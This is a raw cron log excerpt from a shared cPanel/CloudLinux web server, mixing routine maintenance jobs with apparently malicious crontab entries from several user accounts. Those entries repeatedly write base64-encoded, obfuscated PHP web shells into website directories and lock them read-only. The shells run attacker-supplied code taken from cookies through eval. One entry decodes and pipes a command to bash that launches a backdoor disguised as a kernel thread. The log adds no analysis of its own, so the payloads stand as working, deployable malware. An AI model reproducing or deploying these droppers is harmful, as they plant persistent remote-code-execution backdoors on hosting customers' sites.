gICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:58:02 medusa CROND[502]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 16:59:01 medusa CROND[21825]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:59:01 medusa CROND[21930]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:59:01 medusa CROND[21932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:59:01 medusa CROND[21933]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:59:01 medusa CROND[21941]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:59:01 medusa CROND[21940]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:59:01 medusa CROND[21938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:59:01 medusa CROND[21942]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:59:01 medusa CROND[21943]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:59:01 medusa CROND[21950]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:59:01 medusa CROND[21931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:59:01 medusa CROND[21963]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:00:01 medusa CROND[11002]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:00:02 medusa CROND[11294]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:00:02 medusa CROND[11293]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 17:00:02 medusa CROND[11297]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 17:00:02 medusa CROND[11300]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:00:02 medusa CROND[11303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:00:02 medusa CROND[11307]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 17:00:02 medusa CROND[11308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:00:02 medusa CROND[11309]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:00:02 medusa CROND[11301]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 17:00:02 medusa CROND[11311]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:00:02 medusa CROND[11323]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11321]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:00:02 medusa CROND[11333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:00:02 medusa CROND[11345]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:00:02 medusa CROND[11346]: (mauro2) CMD (curl www.comignani.com/update.php)
Mar  1 17:00:02 medusa CROND[11347]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 17:00:02 medusa CROND[11348]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11349]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11352]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11354]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:00:02 medusa CROND[11350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11353]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11363]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11367]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:00:02 medusa CROND[11368]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:00:02 medusa CROND[11369]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11338]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 17:00:02 medusa CROND[11351]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11355]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 17:00:02 medusa CROND[11361]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 17:00:02 medusa CROND[11378]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:00:02 medusa CROND[11364]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:00:02 medusa CROND[11360]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
